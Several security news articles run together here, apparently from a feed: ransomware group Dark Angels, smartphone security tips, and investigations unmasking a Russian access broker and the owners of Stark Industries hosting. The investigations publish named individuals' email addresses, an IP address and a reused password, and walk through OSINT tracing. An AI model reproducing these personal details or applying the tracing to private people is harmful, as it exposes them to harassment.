“What it ultimately gets you is additional tools you can use in the investigation, possibly warrants and things like that,” said Mark Rasch, a former U.S. federal cybercrime prosecutor and now general counsel for the New York-based cybersecurity firm Unit 221B. “It can also get you additional remedies at the end of the case, like greater sanctions, more jail time, fines and forfeiture.”
But Rasch said this tactic can backfire on prosecutors who overplay their hand and go after someone who ends up challenging the charges in court.
“If you’re going to charge a hacker or pedophile with a crime like terrorism, that’s going to make it harder to get a conviction,” Rasch said. “It adds to the prosecutorial burden and increases the likelihood of getting an acquittal.”
Rasch said it’s unclear where it is appropriate to draw the line in the use of terrorism statutes to disrupt harm groups online, noting that there certainly are circumstances where individuals can commit violations of domestic anti-terrorism statutes through their Internet activity alone.
“The Internet is a platform like any other, where virtually any kind of crime that can be committed in the real world can also be committed online,” he said. “That doesn’t mean all misuse of computers fits within the statutory definition of terrorism.”
The RCMP’s advisory on sexual extortion of minors over the Internet lists a number of potential warning signs that teens may exhibit if they become entangled in these harm groups. The FBI urges anyone who believes their child or someone they know is being exploited to contact their local FBI field office, call 1-800-CALL-FBI, or report it online at tips.fbi.gov.
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A ransomware group called Dark Angels made headlines this past week when it was revealed the crime group recently received a record $75 million data ransom payment from a Fortune 50 company. Security experts say the Dark Angels have been around since 2021, but the group doesn’t get much press because they work alone and maintain a low profile, picking one target at a time and favoring mass data theft over disrupting the victim’s operations.
Image: Shutterstock.
Security firm Zscaler ThreatLabz this month ranked Dark Angels as the top ransomware threat for 2024, noting that in early 2024 a victim paid the ransomware group $75 million — higher than any previously recorded ransom payment. ThreatLabz found Dark Angels has conducted some of the largest ransomware attacks to date, and yet little is known about the group.
Brett Stone-Gross, senior director of threat intelligence at ThreatLabz, said Dark Angels operate using an entirely different playbook than most other ransomware groups. For starters, he said, Dark Angels does not employ the typical ransomware affiliate model, which relies on hackers-for-hire to install malicious software that locks up infected systems.
“They really don’t want to be in the headlines or cause business disruptions,” Stone-Gross said. “They’re about making money and attracting as little attention as possible.”
Most ransomware groups maintain flashy victim leak sites which threaten to publish the target’s stolen data unless a ransom demand is paid. But the Dark Angels didn’t even have a victim shaming site until April 2023. And the leak site isn’t particularly well branded; it’s called Dunghill Leak.
The Dark Angels victim shaming site, Dunghill Leak.
“Nothing about them is flashy,” Stone-Gross said. “For the longest time, they didn’t even want to cause a big headline, but they probably felt compelled to create that leaks site because they wanted to show they were serious and that they were going to post victim data and make it accessible.”
Dark Angels is thought to be a Russia-based cybercrime syndicate whose distinguishing characteristic is stealing truly staggering amounts of data from major companies across multiple sectors, including healthcare, finance, government and education. For large businesses, the group has exfiltrated between 10-100 terabytes of data, which can take days or weeks to transfer, ThreatLabz found.
Like most ransom gangs, Dark Angels will publish data stolen from victims who do not pay. Some of the more notable victims listed on Dunghill Leak include the global food distribution firm Sysco, which disclosed a ransomware attack in May 2023; and the travel booking giant Sabre, which was hit by the Dark Angels in September 2023.
Stone-Gross said Dark Angels is often reluctant to deploy ransomware malware because such attacks work by locking up the target’s IT infrastructure, which typically causes the victim’s business to grind to a halt for days, weeks or even months on end. And those types of breaches tend to make headlines quickly.
“They selectively choose whether they want to deploy ransomware or not,” he said. “If they deem they can encrypt some files that won’t cause major disruptions — but will give them a ton of data — that’s what they’ll do. But really, what separates them from the rest is the volume of data they’re stealing. It’s a whole order of magnitude greater with Dark Angels. Companies losing vast amounts of data will pay these high ransoms.”
So who paid the record $75 million ransom? Bleeping Computer posited on July 30 that the victim was the pharmaceutical giant Cencora (formerly AmeriSourceBergen Corporation), which reported a data security incident to the U.S. Securities and Exchange Commission (SEC) on February 21, 2024.
The SEC requires publicly-traded companies to disclose a potentially material cybersecurity event within four days of the incident. Cencora is currently #10 on the Fortune 500 list, generating more than $262 billion in revenue last year.
Cencora did not respond to questions about whether it had made a ransom payment in connection with the February cybersecurity incident, and referred KrebsOnSecurity to expenses listed under “Other” in the restructuring section of their latest quarterly financial report (PDF). That report states that the majority of the $30 million cost in “Other” was associated with the breach.
Cencora’s quarterly statement said the incident affected a standalone legacy information technology platform in one country and the foreign business unit’s ability to operate in that country for approximately two weeks.
Cencora’s 2024 1st quarter report documents a $30 million cost associated with a data exfiltration event in mid-February 2024.
In its most recent State of Ransomware report (PDF), security firm Sophos found the average ransomware payment had increased fivefold in the past year, from $400,000 in 2023 to $2 million. Sophos says that in more than four-fifths (82%) of cases funding for the ransom came from multiple sources. Overall, 40% of total ransom funding came from the organizations themselves and 23% from insurance providers.
Further reading: ThreatLabz ransomware report (PDF).
Are smartphones less secure than PCs? The answer to that is, they’re different. They face different security threats. Yet they certainly share one thing in common — they both need protection.
So, what makes a smartphone unique when it comes to security? And how do you go about protecting it? We’ll cover both here.
Several facts of life about smartphones set them apart when it comes to keeping your devices safer. A quick rundown looks like this:
First off, people keep lots of apps on their phones. Old ones, new ones, ones they practically forgot they had. The security issue that comes into play there is that any app on a phone is subject to vulnerabilities.
A vulnerability in just one of the dozens of apps on a phone can lead to problems. The adage of “the weakest link” applies here. The phone is only as secure as its least secure app. And that goes for the phone’s operating system as well.
Additionally, app permissions can also introduce risks. Apps often request access to different parts of your phone to work — such as when a messenger app asks for access to contacts and photos. In the case of malicious apps, they’ll ask for far more permissions than they need. A classic example involves the old “flashlight apps” that invasively asked for a wide swath of permissions. That gave the hackers all kinds of info on users, including things like location info. Today, the practice of malicious, permission-thirsty apps continues with wallpaper apps, utility apps, games, and more.
As for other malicious apps, sometimes people download them without knowing. This often happens when shopping in third-party app stores, yet it can happen in legit app stores as well — despite rigorous review processes from Apple and Google. Sometimes, hackers sneak them through the review process for approval. These apps might include spyware, ransomware, and other forms of malware.
Many people put their smartphones to personal and professional use.[i] That might mean the phone has access to corporate apps, networks, and data. If the phone gets compromised, those corporate assets might get compromised too. And it can work in the other direction. A corporate compromise might affect an employee’s smartphone.
More and more, our phones are our wallets. Digital wallets and payment apps have certainly gained popularity. They speed up checkout and make splitting meals with friends easy. That makes the prospect of a lost or stolen phone all the more serious. An unsecured phone in the hands of another is like forking over your wallet.
Lastly, spam texts. Unique to phones are the sketchy links that crop up in texting and messaging apps. These often lead to scam sites and other sites that spread malware.
With a good sense of what makes securing your smartphone unique, let’s look at several steps you can take to protect it.
Keeping your phone’s apps and operating system up to date can greatly improve your security. Updates can fix vulnerabilities that hackers rely on to pull off their malware-based attacks. it’s another tried and true method of keeping yourself safer — and for keeping your phone running great too.
With all that you keep and conduct on your phone, a lock is a must. Whether you have a PIN, passcode, or facial recognition available, put it into play. The same goes for things like your payment, banking, and financial apps. Ensure you have them locked too.
As mentioned above, app stores have measures in place to review and vet apps that help ensure they’re safe and secure. Third-party sites might very well not, and they might intentionally host malicious apps as part of a front. Further, legitimate app stores are quick to remove malicious apps from their stores once discovered, making shopping there safer still.
Check out the developer — have they published several other apps with many downloads and good reviews? A legit app typically has many reviews. In contrast, malicious apps might have only a handful of (phony) five-star reviews. Lastly, look for typos and poor grammar in both the app description and screenshots. They could be a sign that a hacker slapped the app together and quickly deployed it.
Yet better than combing through user reviews yourself is getting a recommendation from a trusted source, like a well-known publication or app store editors themselves. In this case, much of the vetting work has been done for you by an established reviewer. A quick online search like “best fitness apps” or “best apps for travelers” should turn up articles from legitimate sites that can suggest good options and describe them in detail before you download.
Another way hackers weasel their way into your device is by getting permissions to access things like your location, contacts, and photos — and they’ll use malicious apps to do it. If an app asks for way more than you bargained for, like a simple puzzle game that asks for access to your camera or microphone, it might be a scam. Delete the app.
So what happens if your phone ends up getting lost or stolen? A combination of device tracking, device locking, and remote erasing can help protect your phone and the data on it. Different device manufacturers have different ways of going about it, but the result is the same — you can prevent others from using your phone. You can even erase it if you’re truly worried that it’s gone for good. Apple provides iOS users with a step-by-step guide, and Google offers a guide for Android users as well.
Comprehensive online protection software can secure your phone in the same ways that it secures your laptops and computers. Installing it can protect your privacy, and keep you safe from attacks on public Wi-Fi, just to name a few things it can do. Ours also includes Text Scam Detector that blocks sketchy links in texts, messages, and email before they do you any harm. And if you tap that link by mistake, Text Scam Detector still blocks it.
[i] https://www.statista.com/statistics/1147490/share-adults-use-personal-smartphone-business-activities-by-country/
The post Are Mobile Devices Less Secure than PCs? appeared first on McAfee Blog.
Most accomplished cybercriminals go out of their way to separate their real names from their hacker handles. But among certain old-school Russian hackers it is not uncommon to find major players who have done little to prevent people from figuring out who they are in real life. A case study in this phenomenon is “x999xx,” the nickname chosen by a venerated Russian hacker who specializes in providing the initial network access to various ransomware groups.
x999xx is a well-known “access broker” who frequently sells access to hacked corporate networks — usually in the form of remote access credentials — as well as compromised databases containing large amounts of personal and financial data.
In an analysis published in February 2019, cyber intelligence firm Flashpoint called x999xx one of the most senior and prolific members of the top-tier Russian-language cybercrime forum Exploit, where x999xx could be seen frequently advertising the sale of stolen databases and network credentials.
In August 2023, x999xx sold access to a company that develops software for the real estate industry. In July 2023, x999xx advertised the sale of Social Security numbers, names, and birthdays for the citizenry of an entire U.S. state (unnamed in the auction).
A month earlier, x999xx posted a sales thread for 80 databases taken from Australia’s largest retail company. “You may use this data to demand a ransom or do something different with it,” x999xx wrote on Exploit. “Unfortunately, the flaw was patched fast. [+] no one has used the data yet [+] the data hasn’t been used to send spam [+] the data is waiting for its time.”
In October 2022, x999xx sold administrative access to a U.S. healthcare provider.
The oldest account by the name x999xx appeared in 2009 on the Russian language cybercrime forum Verified, under the email address maxnm@ozersk.com. Ozersk is a city in the Chelyabinsk region of west-central Russia.
According to the breach tracking service Constella Intelligence, the address maxnm@ozersk.com was used more than a decade ago to create an account at Vktontakte (the Russian answer to Facebook) under the name Maxim Kirtsov from Ozersk. Mr. Kirtsov’s profile — “maxnm” — says his birthday is September 5, 1991.
Personal photos Maxnm shared on Vktontakte in 2016. The caption has been machine translated from Russian.
The user x999xx registered on the Russian language cybercrime community Zloy in 2014 using the email address maxnmalias-1@yahoo.com. Constella says this email address was used in 2022 at the Russian shipping service cdek.ru by a Maksim Georgievich Kirtsov from Ozersk.
Additional searches on these contact details reveal that prior to 2009, x999xx favored the handle Maxnm on Russian cybercrime forums. Cyber intelligence company Intel 471 finds the user Maxnm registered on Zloy in 2006 from an Internet address in Chelyabinsk, using the email address kirtsov@telecom.ozersk.ru.
That same email address was used to create Maxnm accounts on several other crime forums, including Spamdot and Exploit in 2005 (also from Chelyabinsk), and Damagelab in 2006.
A search in Constella for the Russian version of Kirtsov’s full name — Кирцов Максим Георгиевич — brings up multiple accounts registered to maksya@icloud.com.
A review of the digital footprint for maksya@icloud.com at osint.industries reveals this address was used a decade ago to register a still-active account at imageshack.com under the name x999xx. That account features numerous screenshots of financial statements from various banks, chat logs with other hackers, and even hacked websites.
x999xx’s Imageshack account includes screenshots of bank account balances from dozens of financial institutions, as well as chat logs with other hackers and pictures of homegrown weed.
Some of the photos in that Imageshack account also appear on Kirtsov’s Vkontakte page, including images of vehicles he owns, as well as pictures of potted marijuana plants. Kirtsov’s Vkontakte profile says that in 2012 he was a faculty member of the Ozersk Technological Institute National Research Nuclear University.
The Vkontakte page lists Kirtsov’s occupation as a website called ozersk[.]today, which on the surface appears to be a blog about life in Ozersk. However, in 2019 the security firm Recorded Future published a blog post which found this domain was being used to host a malicious Cobalt Strike server.
Cobalt Strike is a commercial network penetration testing and reconnaissance tool that is sold only to vetted partners. But stolen or ill-gotten Cobalt Strike licenses are frequently abused by cybercriminal gangs to help lay the groundwork for the installation of ransomware on a victim network.
In August 2023, x999xx posted a message on Exploit saying he was interested in buying a licensed version of Cobalt Strike. A month earlier, x999xx filed a complaint on Exploit against another forum member named Cobaltforce, an apparent onetime partner whose sudden and prolonged disappearance from the community left x999xx and others in the lurch. Cobaltforce recruited people experienced in using Cobalt Strike for ransomware operations, and offered to monetize access to hacked networks for a share of the profits.
DomainTools.com finds ozersk[.]today was registered to the email address dashin2008@yahoo.com, which also was used to register roughly two dozen other domains, including x999xx[.]biz. Virtually all of those domains were registered to Maxim Kirtsov from Ozersk. Below is a mind map used to track the identities mentioned in this story.
A visual depiction of the data points connecting x999xx to Max Kirtsov.
x999xx is a prolific member of the Russian webmaster forum “Gofuckbiz,” with more than 2,000 posts over nearly a decade, according to Intel 471. In one post from 2016, x999xx asked whether anyone knew where he could buy a heat lamp that simulates sunlight, explaining that one his pet rabbits had recently perished for lack of adequate light and heat. Mr. Kirtsov’s Vkontakte page includes several pictures of caged rabbits from 2015 and earlier.
Reached via email, Mr. Kirtsov acknowledged that he is x999xx. Kirtsov said he and his team are also regular readers of KrebsOnSecurity.
“We’re glad to hear and read you,” Kirtsov replied.
Asked whether he was concerned about the legal and moral implications of his work, Kirtsov downplayed his role in ransomware intrusions, saying he was more focused on harvesting data.
“I consider myself as committed to ethical practices as you are,” Kirtsov wrote. “I have also embarked on research and am currently mentoring students. You may have noticed my activities on a forum, which I assume you know of through information gathered from public sources, possibly using the new tool you reviewed.”
“Regarding my posts about selling access, I must honestly admit, upon reviewing my own actions, I recall such mentions but believe they were never actualized,” he continued. “Many use the forum for self-serving purposes, which explains why listings of targets for sale have dwindled — they simply ceased being viable.”
Kirtsov asserted that he is not interested in harming healthcare institutions, just in stealing their data.
“As for health-related matters, I was once acquainted with affluent webmasters who would pay up to $50 for every 1000 health-themed emails,” Kirtsov said. “Therefore, I had no interest in the more sensitive data from medical institutions like X-rays, insurance numbers, or even names; I focused solely on emails. I am proficient in SQL, hence my ease with handling data like IDs and emails. And i never doing spam or something like this.”
On the Russian crime forums, x999xx said he never targets anything or anyone in Russia, and that he has little to fear from domestic law enforcement agencies provided he remains focused on foreign adversaries.
x999xx’s lackadaisical approach to personal security mirrors that of Wazawaka, another top Russian access broker who sold access to countless organizations and even operated his own ransomware affiliate programs.
“Don’t shit where you live, travel local, and don’t go abroad,” Wazawaka said of his own personal mantra. “Mother Russia will help you. Love your country, and you will always get away with everything.”
In January 2022, KrebsOnSecurity followed clues left behind by Wazawaka to identify him as 32-year-old Mikhail Matveev from Khakassia, Russia. In May 2023, the U.S. Department of Justice indicted Matveev as a key figure in several ransomware groups that collectively extorted hundreds of millions of dollars from victim organizations. The U.S. State Department is offering a $10 million reward for information leading to the capture and/or prosecution of Matveev.
Perhaps in recognition that many top ransomware criminals are largely untouchable so long as they remain in Russia, western law enforcement agencies have begun focusing more on getting inside the heads of those individuals. These so-called “psyops” are aimed at infiltrating ransomware-as-a-service operations, disrupting major cybercrime services, and decreasing trust within cybercriminal communities.
When authorities in the U.S. and U.K. announced in February 2024 that they’d infiltrated and seized the infrastructure used by the infamous LockBit ransomware gang, they borrowed the existing design of LockBit’s victim shaming website to link instead to press releases about the takedown, and included a countdown timer that was eventually replaced with the personal details of LockBit’s alleged leader.
In May 2024, law enforcement agencies in the United States and Europe announced Operation Endgame, a coordinated action against some of the most popular cybercrime platforms for delivering ransomware and data-stealing malware. The Operation Endgame website also included a countdown timer, which served to tease the release of several animated videos that mimic the same sort of flashy, short advertisements that established cybercriminals often produce to promote their services online.
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The homepage of Stark Industries Solutions.
Two weeks before Russia invaded Ukraine in February 2022, a large, mysterious new Internet hosting firm called Stark Industries Solutions materialized and quickly became the epicenter of massive distributed denial-of-service (DDoS) attacks on government and commercial targets in Ukraine and Europe. An investigation into Stark Industries reveals it is being used as a global proxy network that conceals the true source of cyberattacks and disinformation campaigns against enemies of Russia.
At least a dozen patriotic Russian hacking groups have been launching DDoS attacks since the start of the war at a variety of targets seen as opposed to Moscow. But by all accounts, few attacks from those gangs have come close to the amount of firepower wielded by a pro-Russia group calling itself “NoName057(16).”
This graphic comes from a recent report from NETSCOUT about DDoS attacks from Russian hacktivist groups.
As detailed by researchers at Radware, NoName has effectively gamified DDoS attacks, recruiting hacktivists via its Telegram channel and offering to pay people who agree to install a piece of software called DDoSia. That program allows NoName to commandeer the host computers and their Internet connections in coordinated DDoS campaigns, and DDoSia users with the most attacks can win cash prizes.
The NoName DDoS group advertising on Telegram. Image: SentinelOne.com.
A report from the security firm Team Cymru found the DDoS attack infrastructure used in NoName campaigns is assigned to two interlinked hosting providers: MIRhosting and Stark Industries. MIRhosting is a hosting provider founded in The Netherlands in 2004. But Stark Industries Solutions Ltd was incorporated on February 10, 2022, just two weeks before the Russian invasion of Ukraine.
Security experts say that not long after the war started, Stark began hosting dozens of proxy services and free virtual private networking (VPN) services, which are designed to help users shield their Internet usage and location from prying eyes.
Proxy providers allow users to route their Internet and Web browsing traffic through someone else’s computer. From a website’s perspective, the traffic from a proxy network user appears to originate from the rented IP address, not from the proxy service customer.
These services can be used in a legitimate manner for several business purposes — such as price comparisons or sales intelligence — but they are also massively abused for hiding cybercrime activity because they can make it difficult to trace malicious traffic to its original source.
What’s more, many proxy services do not disclose how they obtain access to the proxies they are renting out, and in many cases the access is obtained through the dissemination of malicious software that turns the infected system into a traffic relay — usually unbeknownst to the legitimate owner of the Internet connection. Other proxy services will allow users to make money by renting out their Internet connection to anyone.
Spur.us is a company that tracks VPNs and proxy services worldwide. Spur finds that Stark Industries (AS44477) currently is home to at least 74 VPN services, and 40 different proxy services. As we’ll see in the final section of this story, just one of those proxy networks has over a million Internet addresses available for rent across the globe.
Raymond Dijkxhoorn operates a hosting firm in The Netherlands called Prolocation. He also co-runs SURBL, an anti-abuse service that flags domains and Internet address ranges that are strongly associated with spam and cybercrime activity, including DDoS.
Dijkxhoorn said last year SURBL heard from multiple people who said they operated VPN services whose web resources were included in SURBL’s block lists.
“We had people doing delistings at SURBL for domain names that were suspended by the registrars,” Dijkhoorn told KrebsOnSecurity. “And at least two of them explained that Stark offered them free VPN services that they were reselling.”
Dijkxhoorn added that Stark Industries also sponsored activist groups from Ukraine.
“How valuable would it be for Russia to know the real IPs from Ukraine’s tech warriors?” he observed.
Richard Hummel is threat intelligence lead at NETSCOUT. Hummel said when he considers the worst of all the hosting providers out there today, Stark Industries is consistently near or at the top of that list.
“The reason is we’ve had at least a dozen service providers come to us saying, ‘There’s this network out there inundating us with traffic,'” Hummel said. “And it wasn’t even DDoS attacks. [The systems] on Stark were just scanning these providers so fast it was crashing some of their services.”
Hummel said NoName will typically launch their attacks using a mix of resources rented from major, legitimate cloud services, and those from so-called “bulletproof” hosting providers like Stark. Bulletproof providers are so named when they earn or cultivate a reputation for ignoring any abuse complaints or police reports about activity on their networks.
Combining bulletproof providers with legitimate cloud hosting, Hummel said, likely makes NoName’s DDoS campaigns more resilient because many network operators will hesitate to be too aggressive in blocking Internet addresses associated with the major cloud services.
“What we typically see here is a distribution of cloud hosting providers and bulletproof hosting providers in DDoS attacks,” he said. “They’re using public cloud hosting providers because a lot of times that’s your first layer of network defense, and because [many companies are wary of] over-blocking access to legitimate cloud resources.”
But even if the cloud provider detects abuse coming from the customer, the provider is probably not going to shut the customer down immediately, Hummel said.
“There is usually a grace period, and even if that’s only an hour or two, you can still launch a large number of attacks in that time,” he said. “And then they just keep coming back and opening new cloud accounts.”
Stark Industries is incorporated at a mail drop address in the United Kingdom. UK business records list an Ivan Vladimirovich Neculiti as the company’s secretary. Mr. Neculiti also is named as the CEO and founder of PQ Hosting Plus S.R.L. (aka Perfect Quality Hosting), a Moldovan company formed in 2019 that lists the same UK mail drop address as Stark Industries.
Ivan Neculiti, as pictured on LinkedIn.
Reached via LinkedIn, Mr. Neculiti said PQ Hosting established Stark Industries as a “white label” of its brand so that “resellers could distribute our services using our IP addresses and their clients would not have any affairs with PQ Hosting.”
“PQ Hosting is a company with over 1,000+ of [our] own physical servers in 38 countries and we have over 100,000 clients,” he said. “Though we are not as large as Hetzner, Amazon and OVH, nevertheless we are a fast growing company that provides services to tens of thousands of private customers and legal entities.”
Asked about the constant stream of DDoS attacks whose origins have traced back to Stark Industries over the past two years, Neculiti maintained Stark hasn’t received any official abuse reports about attacks coming from its networks.
“It was probably some kind of clever attack that we did not see, I do not rule out this fact, because we have a very large number of clients and our Internet channels are quite large,” he said. “But, in this situation, unfortunately, no one contacted us to report that there was an attack from our addresses; if someone had contacted us, we would have definitely blocked the network data.”
DomainTools.com finds Ivan V. Neculiti was the owner of war[.]md, a website launched in 2008 that chronicled the history of a 1990 armed conflict in Moldova known as the Transnistria War and the Moldo-Russian war.
An ad for war.md, circa 2009.
Transnistria is a breakaway pro-Russian region that declared itself a state in 1990, although it is not internationally recognized. The copyright on that website credits the “MercenarieS TeaM,” which was at one time a Moldovan IT firm. Mr. Neculiti confirmed personally registering this domain.
The data breach tracking service Constella Intelligence reports that an Ivan V. Neculiti registered multiple online accounts under the email address dfyz_bk@bk.ru. Cyber intelligence firm Intel 471 shows this email address is tied to the username “dfyz” on more than a half-dozen Russian language cybercrime forums since 2008. The user dfyz on Searchengines[.]ru in 2008 asked other forum members to review war.md, and said they were part of the MercenarieS TeaM.
Back then, dfyz was selling “bulletproof servers for any purpose,” meaning the hosting company would willfully ignore abuse complaints or police inquiries about the activity of its customers.
DomainTools reports there are at least 33 domain names registered to dfyz_bk@bk.ru. Several of these domains have Ivan Neculiti in their registration records, including tracker-free[.]cn, which was registered to an Ivan Neculiti at dfyz_bk@bk.ru and referenced the MercenarieS TeaM in its original registration records.
Dfyz also used the nickname DonChicho, who likewise sold bulletproof hosting services and access to hacked Internet servers. In 2014, a prominent member of the Russian language cybercrime community Antichat filed a complaint against DonChicho, saying this user scammed them and had used the email address dfyz_bk@bk.ru.
The complaint said DonChicho registered on Antichat from the Transnistria Internet address 84.234.55[.]29. Searching this address in Constella reveals it has been used to register just five accounts online that have been created over the years, including one at ask.ru, where the user registered with the email address neculitzy1@yandex.ru. Constella also returns for that email address a user by the name “Ivan” at memoraleak.com and 000webhost.com.
Constella finds that the password most frequently used by the email address dfyz_bk@bk.ru was “filecast,” and that there are more than 90 email addresses associated with this password. Among them are roughly two dozen addresses with the name “Neculiti” in them, as well as the address support@donservers[.]ru.
Intel 471 says DonChicho posted to several Russian cybercrime forums that support@donservers[.]ru was his address, and that he logged into cybercrime forums almost exclusively from Internet addresses in Tiraspol, the capital of Transnistria. A review of DonChicho’s posts shows this person was banned from several forums in 2014 for scamming other users.
Cached copies of DonChicho’s vanity domain (donchicho[.]ru) show that in 2009 he was a spammer who peddled knockoff prescription drugs via Rx-Promotion, once one of the largest pharmacy spam moneymaking programs for Russian-speaking affiliates.
Mr. Neculiti told KrebsOnSecurity he has never used the nickname DonChicho.
“I may assure you that I have no relation to DonChicho nor to his bulletproof servers,” he said.
Below is a mind map that shows the connections between the accounts mentioned above.
A mind map tracing the history of the user Dfyz. Click to enlarge.
Earlier this year, NoName began massively hitting government and industry websites in Moldova. A new report from Arbor Networks says the attacks began around March 6, when NoName alleged the government of Moldova was “craving for Russophobia.”
“Since early March, more than 50 websites have been targeted, according to posted ‘proof’ by the groups involved in attacking the country,” Arbor’s ASERT Team wrote. “While NoName seemingly initiated the ramp of attacks, a host of other DDoS hacktivists have joined the fray in claiming credit for attacks across more than 15 industries.”
The German independent news outlet Correctiv.org last week published a scathing investigative report on Stark Industries and MIRhosting, which notes that Ivan Neculiti operates his hosting companies with the help of his brother, Yuri.
Image credit: correctiv.org.
The report points out that Stark Industries continues to host a Russian disinformation news outlet called “Recent Reliable News” (RRN) that was sanctioned by the European Union in 2023 for spreading links to propaganda blogs and fake European media and government websites.
“The website was not running on computers in Moscow or St. Petersburg until recently, but in the middle of the EU, in the Netherlands, on the computers of the Neculiti brothers,” Correctiv reporters wrote.
“After a request from this editorial team, a well-known service was installed that hides the actual web host,” the report continues. “Ivan Neculiti announced that he had blocked the associated access and server following internal investigations. “We very much regret that we are only now finding out that one of our customers is a sanctioned portal,” said the company boss. However, RRN is still accessible via its servers.”
Correctiv also points to a January 2023 report from the Ukrainian government, which found servers from Stark Industries Solutions were used as part of a cyber attack on the Ukrainian news agency “Ukrinform”. Correctiv notes the notorious hacker group Sandworm — an advanced persistent threat (APT) group operated by a cyberwarfare unit of Russia’s military intelligence service — was identified by Ukrainian government authorities as responsible for that attack.
Public records indicate MIRhosting is based in The Netherlands and is operated by 37-year old Andrey Nesterenko, whose personal website says he is an accomplished concert pianist who began performing publicly at a young age.
DomainTools says mirhosting[.]com is registered to Mr. Nesterenko and to Innovation IT Solutions Corp, which lists addresses in London and in Nesterenko’s stated hometown of Nizhny Novgorod, Russia.
This is interesting because according to the book Inside Cyber Warfare by Jeffrey Carr, Innovation IT Solutions Corp. was responsible for hosting StopGeorgia[.]ru, a hacktivist website for organizing cyberattacks against Georgia that appeared at the same time Russian forces invaded the former Soviet nation in 2008. That conflict was thought to be the first war ever fought in which a notable cyberattack and an actual military engagement happened simultaneously.
Responding to questions from KrebsOnSecurity, Mr. Nesterenko said he couldn’t say whether his network had ever hosted the StopGeorgia website back in 2008 because his company didn’t keep records going back that far. But he said Stark Industries Solutions is indeed one of MIRhsoting’s colocation customers.
“Our relationship is purely provider-customer,” Nesterenko said. “They also utilize multiple providers and data centers globally, so connecting them directly to MIRhosting overlooks their broader network.”
“We take any report of malicious activity seriously and are always open to information that can help us identify and prevent misuse of our infrastructure, whether involving Stark Industries or any other customer,” Nesterenko continued. “In cases where our services are exploited for malicious purposes, we collaborate fully with Dutch cyber police and other relevant authorities to investigate and take appropriate measures. However, we have yet to receive any actionable information beyond the article itself, which has not provided us with sufficient detail to identify or block malicious actors.”
In December 2022, security firm Recorded Future profiled the phishing and credential harvesting infrastructure used for Russia-aligned espionage operations by a group dubbed Blue Charlie (aka TAG-53), which has targeted email accounts of nongovernmental organizations and think tanks, journalists, and government and defense officials.
Recorded Future found that virtually all the Blue Charlie domains existed in just ten different ISPs, with a significant concentration located in two networks, one of which was MIRhosting. Both Microsoft and the UK government assess that Blue Charlie is linked to the Russian threat activity groups variously known as Callisto Group, COLDRIVER, and SEABORGIUM.
Mr. Nesterenko took exception to a story on that report from The Record, which is owned by Recorded Future.
“We’ve discussed its contents with our customer, Stark Industries,” he said. “We understand that they have initiated legal proceedings against the website in question, as they firmly believe that the claims made are inaccurate.”
Recorded Future said they updated their story with comments from Mr. Neculiti, but that they stand by their reporting.
Mr. Nesterenko’s LinkedIn profile says he was previously the foreign region sales manager at Serverius-as, a hosting company in The Netherlands that remains in the same data center as MIRhosting.
In February, the Dutch police took 13 servers offline that were used by the infamous LockBit ransomware group, which had originally bragged on its darknet website that its home base was in The Netherlands. Sources tell KrebsOnSecurity the servers seized by the Dutch police were located in Serverius’ data center in Dronten, which is also shared by MIRhosting.
Serverius-as did not respond to requests for comment. Nesterenko said MIRhosting does use one of Serverius’s data centers for its operations in the Netherlands, alongside two other data centers, but that the recent incident involving the seizure of servers has no connection to MIRhosting.
“We are legally prohibited by Dutch law and police regulations from sharing information with third parties regarding any communications we may have had,” he said.
A February 2024 report from security firm ESET found Serverius-as systems were involved in a series of targeted phishing attacks by Russia-aligned groups against Ukrainian entities throughout 2023. ESET observed that after the spearphishing domains were no longer active, they were converted to promoting rogue Internet pharmacy websites.
A review of the Internet address ranges recently added to the network operated by Stark Industries Solutions offers some insight into its customer base, usage, and maybe even true origins. Here is a snapshot (PDF) of all Internet address ranges announced by Stark Industries so far in the month of May 2024 (this information was graciously collated by the network observability platform Kentik.com).
Those records indicate that the largest portion of the IP space used by Stark is in The Netherlands, followed by Germany and the United States. Stark says it is connected to roughly 4,600 Internet addresses that currently list their ownership as Comcast Cable Communications.
A review of those address ranges at spur.us shows all of them are connected to an entity called Proxyline, which is a sprawling proxy service based in Russia that currently says it has more than 1.6 million proxies globally that are available for rent.
Proxyline dot net.
Reached for comment, Comcast said the Internet address ranges never did belong to Comcast, so it is likely that Stark has been fudging the real location of its routing announcements in some cases.
Stark reports that it has more than 67,000 Internet addresses at Santa Clara, Calif.-based EGIhosting. Spur says the Stark addresses involving EGIhosting all map to Proxyline as well. EGIhosting did not respond to requests for comment.
EGIhosting manages Internet addresses for the Cyprus-based hosting firm ITHOSTLINE LTD (aka HOSTLINE-LTD), which is represented throughout Stark’s announced Internet ranges. Stark says it has more than 21,000 Internet addresses with HOSTLINE. Spur.us finds Proxyline addresses are especially concentrated in the Stark ranges labeled ITHOSTLINE LTD, HOSTLINE-LTD, and Proline IT.
Stark’s network list includes approximately 21,000 Internet addresses at Hockessin, De. based DediPath, which abruptly ceased operations without warning in August 2023. According to a phishing report released last year by Interisle Consulting, DediPath was the fourth most common source of phishing attacks in the year ending Oct. 2022. Spur.us likewise finds that virtually all of the Stark address ranges marked “DediPath LLC” are tied to Proxyline.
Image: Interisle Consulting.
A large number of the Internet address ranges announced by Stark in May originate in India, and the names that are self-assigned to many of these networks indicate they were previously used to send large volumes of spam for herbal medicinal products, with names like HerbalFarm, AdsChrome, Nutravo, Herbzoot and Herbalve.
The anti-spam organization SpamHaus reports that many of the Indian IP address ranges are associated with known “snowshoe spam,” a form of abuse that involves mass email campaigns spread across several domains and IP addresses to weaken reputation metrics and avoid spam filters.
It’s not clear how much of Stark’s network address space traces its origins to Russia, but big chunks of it recently belonged to some of the oldest entities on the Russian Internet (a.k.a. “Runet”).
For example, many Stark address ranges were most recently assigned to a Russian government entity whose full name is the “Federal State Autonomous Educational Establishment of Additional Professional Education Center of Realization of State Educational Policy and Informational Technologies.”
A review of Internet address ranges adjacent to this entity reveals a long list of Russian government organizations that are part of the Federal Guard Service of the Russian Federation. Wikipedia says the Federal Guard Service is a Russian federal government agency concerned with tasks related to protection of several high-ranking state officials, including the President of Russia, as well as certain federal properties. The agency traces its origins to the USSR’s Ninth Directorate of the KGB, and later the presidential security service.
Stark recently announced the address range 213.159.64.0/20 from April 27 to May 1, and this range was previously assigned to an ancient ISP in St. Petersburg, RU called the Computer Technologies Institute Ltd.
According to a post on the Russian language webmaster forum searchengines[.]ru, the domain for Computer Technologies Institute — ctinet[.]ru — is the seventh-oldest domain in the entire history of the Runet.
